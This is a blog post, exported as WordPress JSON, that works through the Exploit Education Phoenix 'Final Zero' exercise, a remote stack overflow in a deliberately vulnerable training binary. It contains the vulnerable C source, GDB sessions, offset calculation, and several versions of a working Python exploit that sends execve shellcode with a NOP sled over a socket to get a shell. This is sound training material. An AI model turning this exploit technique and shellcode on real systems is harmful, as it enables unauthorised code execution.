{"id":792,"date":"2019-09-09T09:39:07","date_gmt":"2019-09-09T13:39:07","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=792"},"modified":"2019-09-10T07:34:50","modified_gmt":"2019-09-10T11:34:50","slug":"exploit-education-phoenix-final-zero-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-final-zero-solution\/","title":{"rendered":"Exploit Education | Phoenix | Final Zero Solution"},"content":{"rendered":"<p>The beginning of the end of the Phoenix exercises &#58;) Remote stack overflow.<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/final-zero\/\">http:\/\/exploit.education\/phoenix\/final-zero\/<\/a><\/p>\n<p>The description tells us it&#8217;s a remote stack overflow. Let&#8217;s look at the source code first. The<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> get_username() <\/span>function is vulnerable to a stack overflow:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">char *get_username() {\r\n    char buffer&#x5B;512];\r\n    char *q;\r\n    int i;\r\n\r\n    memset(buffer, 0, sizeof(buffer));\r\n    gets(buffer);\r\n\r\n    \/* Strip off trailing new line characters *\/\r\n    q = strchr(buffer, '\\n');\r\n    if (q) *q = 0;\r\n    q = strchr(buffer, '\\r');\r\n    if (q) *q = 0;\r\n\r\n    \/* Convert to lower case *\/\r\n    for (i = 0; i &lt; strlen(buffer); i++) {\r\n        buffer&#x5B;i] = toupper(buffer&#x5B;i]);\r\n    }\r\n\r\n    \/* Duplicate the string and return it *\/\r\n    return strdup(buffer);\r\n}<\/pre>\n<p>You can see that the<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> gets() <\/span>function gets user input and stores it in the <strong>buffer<\/strong> variable without bounds checking. We can use that to overwrite the stored return pointer on the stack. However, there&#8217;s a few &#8220;gotchas&#8221; in the code here. First, it turns any newline (0x0a) and carriage return (0x0d) characters into null bytes. Next, it converts any ASCII lowercase letter (0x61 to 0x7a) to an uppercase letter (0x41 to 0x5a). This effectively subtracts 0x20 from any byte between 0x61 and 0x7a. However, it&#8217;s important to note that it uses<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> strlen() <\/span>to see which bytes to operate on. That function will return the length of the string in decimal value up until a null byte. So if we can insert a null byte, followed by shellcode, then none of it should get changed. While we can&#8217;t insert a null byte directly, we <em>can<\/em> insert a carriage return character (0x0d), which would get turned into a null byte. We can&#8217;t use a newline character (0x0a) since everything after that would get ignored by<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> gets()<\/span>.<\/p>\n<p>Before firing up GDB, I&#8217;m going to experiment. First, I&#8217;m going to develop an exploit locally, then I&#8217;ll test it on the service that&#8217;s listening on port 64003 (for x64). Since the <strong>buffer<\/strong> variable is 512 bytes long, I&#8217;ll overflow the buffer with 600 characters:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ python -c 'print &quot;a&quot;*600' | .\/final-zero\r\nWelcome to phoenix\/final-zero, brought to you by https:\/\/exploit.education\r\nSegmentation fault<\/pre>\n<p>Now I&#8217;ll use a pattern to find how many bytes until the saved RIP return pointer. The Python script used here is from <a href=\"https:\/\/github.com\/Svenito\/exploit-pattern\">https:\/\/github.com\/Svenito\/exploit-pattern<\/a>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ .\/pattern.py 600 | \/opt\/phoenix\/amd64\/final-zero\r\nWelcome to phoenix\/final-zero, brought to you by https:\/\/exploit.education\r\nSegmentation fault\r\n\r\nuser@phoenix-amd64:~$ sudo tail -n1 \/var\/log\/kern.log\r\n&#x5B;sudo] password for user:\r\nSep  6 18:38:03 localhost kernel: &#x5B;285729.993841] traps: final-zero&#x5B;11365] general protection ip:7341357341347341 sp:7fffffffe630 error:0\r\n\r\nuser@phoenix-amd64:~$ .\/pattern.py $(echo 0x7341357341347341 | xxd -r | rev)\r\nPattern As4As5As first occurrence at position 552 in pattern.<\/pre>\n<p>I looked at the last log entry in<span style=\"font-family: Courier New\"> \/var\/log\/kern.log <\/span>to get the value of the instruction pointer. I then used<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> xxd <\/span>to convert that value back into ASCII and reversed it (because little-endian). That output is run through the pattern.py script again to get the offset, which turns out to be <strong>552<\/strong>.<\/p>\n<p>Now I&#8217;ll need to use GDB to find an address to overwrite the saved RIP value with. First, I&#8217;ll set a breakpoint just after the call to<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> gets()<\/span>. Then I&#8217;ll run the program with any &#8216;ol input &#038; see where I might be able to jump execution to:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ cd \/opt\/phoenix\/amd64\/\r\n\r\nuser@phoenix-amd64:\/opt\/phoenix\/amd64$ gdb -q final-zero\r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n78 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from final-zero...(no debugging symbols found)...done.\r\n\r\ngef\u27a4  disas get_username\r\nDump of assembler code for function get_username:\r\n   ...\r\n   0x00000000004007fc &lt;+47&gt;:    call   0x4005d0 &lt;gets@plt&gt;\r\n   0x0000000000400801 &lt;+52&gt;:    lea    rax,&#x5B;rbp-0x220]\r\n   ...\r\n\r\ngef\u27a4  b *get_username+52\r\nBreakpoint 1 at 0x400801\r\n\r\ngef\u27a4  run &lt;&lt;&lt; $(echo aaaa)\r\nStarting program: \/opt\/phoenix\/amd64\/final-zero &lt;&lt;&lt; $(echo aaaa)\r\nWelcome to phoenix\/final-zero, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 1, 0x0000000000400801 in get_username ()\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef\u27a4  x\/4gx $sp\r\n0x7fffffffe410: 0x0000000061616161      0x0000000000000000\r\n0x7fffffffe420: 0x0000000000000000      0x0000000000000000\r\n<\/pre>\n<p>Knowing that the <strong>buffer<\/strong> variable starts at 0x7fffffffe410, I can use something close to that to overwrite the saved return address with. Initially, I wrote an exploit script with only a handful of NOPs before the shellcode and set the <strong>ret<\/strong> value to something in between them (0x7fffffffe418). But I would get a seg fault when running it. I kept increasing the amount of NOPs and increasing the <strong>ret<\/strong> value to keep it in the middle until I finally found something that worked. I&#8217;m not sure why, but maybe the environment variables for this binary are a lot different when being run in GDB.<\/p>\n<p>The final exploit script I came up with:<\/p>\n<pre class=\"brush: python; light: false; title: final-zero_local.py; notranslate\" title=\"final-zero_local.py\">\r\n#!\/usr\/bin\/env python2\r\n\r\n# Offset to EIP\r\noffset = 552\r\n\r\nret = struct.pack(&quot;&lt;Q&quot;, 0x7fffffffe450)\r\n\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-806.php\r\nshellcode  = &quot;\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c&quot;\r\nshellcode += &quot;\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52&quot;\r\nshellcode += &quot;\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05&quot;\r\n\r\npayload  = &quot;&quot;\r\npayload += &quot;\\r&quot;\r\npayload += &quot;\\x90&quot; * 127\r\npayload += shellcode\r\npayload += &quot;\\x90&quot; * (offset - len(payload))\r\npayload += ret\r\n\r\nprint payload\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:\/opt\/phoenix\/amd64$ (python ~\/final-zero_local.py; cat) | .\/final-zero\r\nWelcome to phoenix\/final-zero, brought to you by https:\/\/exploit.education\r\nid\r\nuid=1000(user) gid=1000(user) groups=1000(user),27(sudo)\r\n<\/pre>\n<p>With that done, I modified the script to send the payload to the listening service on port 64003. For a while I played around with various shellcodes generated by<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> msfvenom.<\/span> I tried both bind &#038; reverse shells but couldn&#8217;t get anything to work. So I went back to using a local shell and used the script to keep the connection open.<\/p>\n<pre class=\"brush: python; light: false; title: final-zero.py; notranslate\" title=\"final-zero.py\">\r\n#!\/usr\/bin\/env python2\r\n\r\nimport struct\r\nimport socket\r\n\r\nADDR = &quot;127.0.0.1&quot;\r\nPORT = 64003\r\n\r\n# Offset to EIP\r\noffset = 552\r\n\r\nret = struct.pack(&quot;&lt;Q&quot;, 0x7fffffffe450)\r\n\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-806.php\r\nshellcode  = &quot;\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c&quot;\r\nshellcode += &quot;\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52&quot;\r\nshellcode += &quot;\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05&quot;\r\n\r\npayload  = &quot;&quot;\r\npayload += &quot;\\r&quot;\r\npayload += &quot;\\x90&quot; * 127\r\npayload += shellcode\r\npayload += &quot;\\x90&quot; * (offset - len(payload))\r\npayload += ret\r\n \r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((ADDR, PORT))\r\n\r\nprint s.recv(1024),\r\nraw_input(&quot;Press Enter to send the payload...&quot;)\r\ns.sendall(payload + &quot;\\n&quot;)\r\n\r\nprint(&quot;Shell now?&quot;)\r\nwhile True:\r\n    s.sendall(raw_input(&quot;$ &quot;) + &quot;\\n&quot;)\r\n    print s.recv(1024),\r\n<\/pre>\n<p>However, this didn&#8217;t work out so well:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ .\/final-zero.py\r\nWelcome to phoenix\/final-zero, brought to you by https:\/\/exploit.education\r\nPress Enter to send the payload...\r\nShell now?\r\n$ id\r\n $ id\r\nTraceback (most recent call last):\r\n  File &quot;.\/final-zero.py&quot;, line 35, in &lt;module&gt;\r\n    s.sendall(raw_input(&quot;$ &quot;) + &quot;\\n&quot;)\r\n  File &quot;\/usr\/lib\/python2.7\/socket.py&quot;, line 228, in meth\r\n    return getattr(self._sock,name)(*args)\r\nsocket.error: &#x5B;Errno 32] Broken pipe\r\n\r\nuser@phoenix-amd64:~$ sudo tail -n1 \/var\/log\/kern.log\r\n&#x5B;sudo] password for user:\r\nSep  9 12:50:30 localhost kernel: &#x5B; 2088.432038] traps: final-zero&#x5B;879] trap invalid opcode ip:7fffffffe5ac sp:7fffffffec90 error:0\r\n<\/pre>\n<p>Looking at the last line in<span style=\"font-family: Courier New\"> kern.log<\/span>, I see that the instruction pointer reached an invalid opcode at 0x7fffffffe5ac, which is nowhere near my ret value. Let&#8217;s debug in GDB. In the script, I added the line<span style=\"font-family: Courier New; color:#64e0e0; background:#001919\"> raw_input(&#8220;Press Enter to send the payload&#8230;&#8221;) <\/span>so I could have a chance to attach GDB to the process before sending the payload.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ sudo -i\r\n&#x5B;sudo] password for user:\r\n\r\nroot@phoenix-amd64:~# ps aux | grep final-zero\r\nuser       937  0.1  0.8  22224  9148 pts\/0    S+   12:56   0:00 python2 .\/final-zero.py\r\nphoenix+   938  0.0  0.0    752     8 ?        Ss   12:56   0:00 \/opt\/phoenix\/amd64\/final-zero\r\nroot       968  0.0  0.0   6888   984 pts\/1    S+   12:57   0:00 grep final-zero\r\n\r\nroot@phoenix-amd64:~# gdb -q -p 938\r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n78 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nAttaching to process 938\r\nReading symbols from target:\/opt\/phoenix\/amd64\/final-zero...(no debugging symbols found)...done.\r\n&#x5B;*] Your file is remote, you should try using `gef-remote` instead\r\nPython Exception &lt;class 'AttributeError'&gt; 'NoneType' object has no attribute 'e_machine':\r\nReading symbols from target:\/opt\/phoenix\/x86_64-linux-musl\/lib\/ld-musl-x86_64.so.1...done.\r\n&#x5B;*] Your file is remote, you should try using `gef-remote` instead\r\nPython Exception &lt;class 'AttributeError'&gt; 'NoneType' object has no attribute 'e_machine':\r\n&#x5B;*] Your file is remote, you should try using `gef-remote` instead\r\nPython Exception &lt;class 'AttributeError'&gt; 'NoneType' object has no attribute 'e_machine':\r\n0x00007ffff7db6c3b in __stdio_read () from target:\/opt\/phoenix\/x86_64-linux-musl\/lib\/ld-musl-x86_64.so.1\r\n&#x5B; Legend: Modified register | Code | Heap | Stack | String ]\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500\r\n&#x5B;!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'\r\n\r\ngef\u27a4  b *get_username+52\r\nBreakpoint 1 at 0x400801\r\n\r\ngef\u27a4  c\r\nContinuing.\r\nPython Exception &lt;class 'AttributeError'&gt; 'NoneType' object has no attribute 'all_registers':\r\n<\/pre>\n<p>Now I can send the payload &#038; check the addresses of the stack:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nBreakpoint 1, 0x0000000000400801 in get_username ()\r\n&#x5B; Legend: Modified register | Code | Heap | Stack | String ]\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500\r\n&#x5B;!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'\r\n\r\ngef\u27a4  x $rsp\r\n0x7fffffffea60: 0x9090900d\r\n\r\ngef\u27a4  x\/70gx 0x7fffffffea60\r\n0x7fffffffea60: 0x909090909090900d      0x9090909090909090\r\n0x7fffffffea70: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffea80: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffea90: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeaa0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeab0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeac0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffead0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeae0: 0x91969dd1bb48c031      0x53dbf748ff978cd0\r\n0x7fffffffeaf0: 0xb05e545752995f54      0x9090909090050f3b\r\n0x7fffffffeb00: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb10: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb20: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb30: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb40: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb50: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb60: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb70: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb80: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeb90: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffeba0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffebb0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffebc0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffebd0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffebe0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffebf0: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec00: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec10: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec20: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec30: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec40: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec50: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec60: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec70: 0x9090909090909090      0x9090909090909090\r\n0x7fffffffec80: 0x9090909090909090      0x00007fffffffe450\r\n<\/pre>\n<p>Here, you can see that my ret value is nowhere near the stack. I&#8217;ll just change that to something that falls within that first set of NOPs. I could use a lot less NOPs now that I know what to expect, but why do more work than necessary? This final script works now:<\/p>\n<pre class=\"brush: python; light: false; title: final-zero.py; notranslate\" title=\"final-zero.py\">\r\n#!\/usr\/bin\/env python2\r\n\r\nimport struct\r\nimport socket\r\n\r\nADDR = &quot;127.0.0.1&quot;\r\nPORT = 64003\r\n\r\n# Offset to EIP\r\noffset = 552\r\n\r\nret = struct.pack(&quot;&lt;Q&quot;, 0x7fffffffeaa0)\r\n\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-806.php\r\nshellcode  = &quot;\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c&quot;\r\nshellcode += &quot;\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52&quot;\r\nshellcode += &quot;\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05&quot;\r\n\r\npayload  = &quot;&quot;\r\npayload += &quot;\\r&quot;\r\npayload += &quot;\\x90&quot; * 127\r\npayload += shellcode\r\npayload += &quot;\\x90&quot; * (offset - len(payload))\r\npayload += ret\r\n \r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((ADDR, PORT))\r\n\r\nprint s.recv(1024),\r\ns.sendall(payload + &quot;\\n&quot;)\r\n\r\nprint(&quot;Shell now?&quot;)\r\nwhile True:\r\n    s.sendall(raw_input(&quot;$ &quot;) + &quot;\\n&quot;)\r\n    print s.recv(10024),\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ .\/final-zero.py\r\nWelcome to phoenix\/final-zero, brought to you by https:\/\/exploit.education\r\nShell now?\r\n$ id\r\nuid=419(phoenix-amd64-final-zero) gid=419(phoenix-amd64-final-zero) groups=419(phoenix-amd64-final-zero)\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>The beginning of the end of the Phoenix exercises &#58;) Remote stack overflow. &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-final-zero-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Final Zero Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-792","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/792","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=792"}],"version-history":[{"count":21,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/792\/revisions"}],"predecessor-version":[{"id":816,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/792\/revisions\/816"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=792"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=792"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=792"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}